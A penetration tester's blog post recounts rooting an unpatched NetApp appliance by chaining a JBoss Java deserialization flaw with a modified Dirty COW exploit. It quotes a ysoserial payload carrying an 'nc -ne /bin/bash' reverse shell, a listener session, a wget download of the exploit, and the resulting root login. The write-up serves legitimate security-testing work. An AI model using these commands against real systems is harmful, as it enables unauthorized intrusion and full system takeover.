Deserialized Double Dirty

John Skipper, Senior Consultant, Coalfire Labs

Recently I was able to fully root a NetApp OnCommand Performance Manager appliance using a Java Deserialization vulnerability and Dirty COW.

Disclaimer: NetApp has security patches for both of these issues. This appliance simply had not been updated.

Late last year I ran into a device that was vulnerable to CVE-2017-12149 and was able to get a shell on that device. After using Ysoserial and loading in the payloads in Burp Repeater (pro tip from @hateshaped: right click -> paste from file), I wanted to automate the building and delivery of the payload. I knew @byt3bl33d3r had quite a few of these scripts on Coalfire Lab’s Github, so I modified a similar JBoss script for this specific vulnerability. The PoC can be found here.

So, when this popped up again, I was super excited. The system had a “modern” version of netcat, so nc -e worked just fine to grab a shell.

python --proto http --ysoserial-path ./ysoserial.jar 'nc -ne /bin/bash 8000'

This time, however, the admin (or perhaps NetApp) had done something right. The application was not running as root, but a low privilege user.

nc -lvp 8000 listening on [any] 8000 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 34503
uid=998(jboss) gid=42(shadow) groups=1002(jboss),42(shadow)

While doing some enumeration, uname came back with the following:

Debian 3.2.68-1+deb7u1

Ripe for Dirty COW! The Dirty COW exploit I’m most familiar with is Firefart’s exploit. It’s stable and it works. I ran the exploit and it created the Firefart user with no issues, but this is where it got interesting.

Typical “Firefartage” one does su - firefart or ssh firefart@<ip>. However, I could not upgrade my shell to a TTY shell (I’m sure I’m saying that wrong…). I could not su since I didn’t have a “real” terminal. I tried all the usual tricks (e.g., Pentest Monkey’s awesomeness and Ropnop’s great blog) but not even stackoverflow could help me out!

SSH was also a bust. The SSH server on the system was set up so only members of the maintenance group could log in and it could not be a root user. I decided to modify Firefart’s code and make the Firefart user a non-root user and add them to the maintenance group. I ran the exploit and it created the user! I was now able to SSH into the device. I was still not root, though, so, ran the original exploit again thinking I could then just su - firefart. When I tried that, it failed with an error: I have no name!
Even running the script twice with two different usernames ended in the same error. I decided I needed to modify the exploit code again to add both users at the same time. You can grab the modified code I lovingly named doubledirty here. Please be kind, I am not a developer, but it complied and ran on the very first time, that has to count for something, right?!

I grabbed the new exploit code and ran it on the system:

jboss@netapp:/tmp$ wget
--2019-08-16 14:28:23--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 18200 (18K) [application/octet-stream]
Saving to: `doubledirty'

      0K .......... .......                                    100% 30.4M=0.001s

2019-08-16 14:28:23 (30.4 MB/s) - `doubledirty' saved [18200/18200]
jboss@netapp:/tmp$ ls -ltr
ls -ltr
total 696
drwx------ 2 root  root          4096 Feb  8  2016 vmware-root
-rw-r--r-- 1 root  root           654 Feb  8  2016 netapp-opm-postinst.log
-rw-r--r-- 1 jboss shadow       18200 Aug 16 14:27 doubledirty
jboss@netapp:/tmp$ chmod +x doubledirty
chmod +x doubledirty
jboss@netapp:/tmp$ ./doubledirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:


I was able to ssh in as the non-priveledged user and then su - to the root user!

# ssh jreppiks@
Linux netapp 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u1 x86_64
Last login: Fri Aug 16 11:48:49 2019 from
Could not chdir to home directory /root: Permission denied
-bash: /root/.bash_profile: Permission denied
jreppiks@netapp:/$ id uid=14(jreppiks) gid=1000(maintenance) groups=1000(maintenance)
jreppiks@netapp:/$ su – jreppiksroot
jreppiksroot@netapp:~# id uid=0(jreppiksroot) gid=0(root) groups=0(root)

John Skipper


John Skipper — Senior Consultant, Coalfire Labs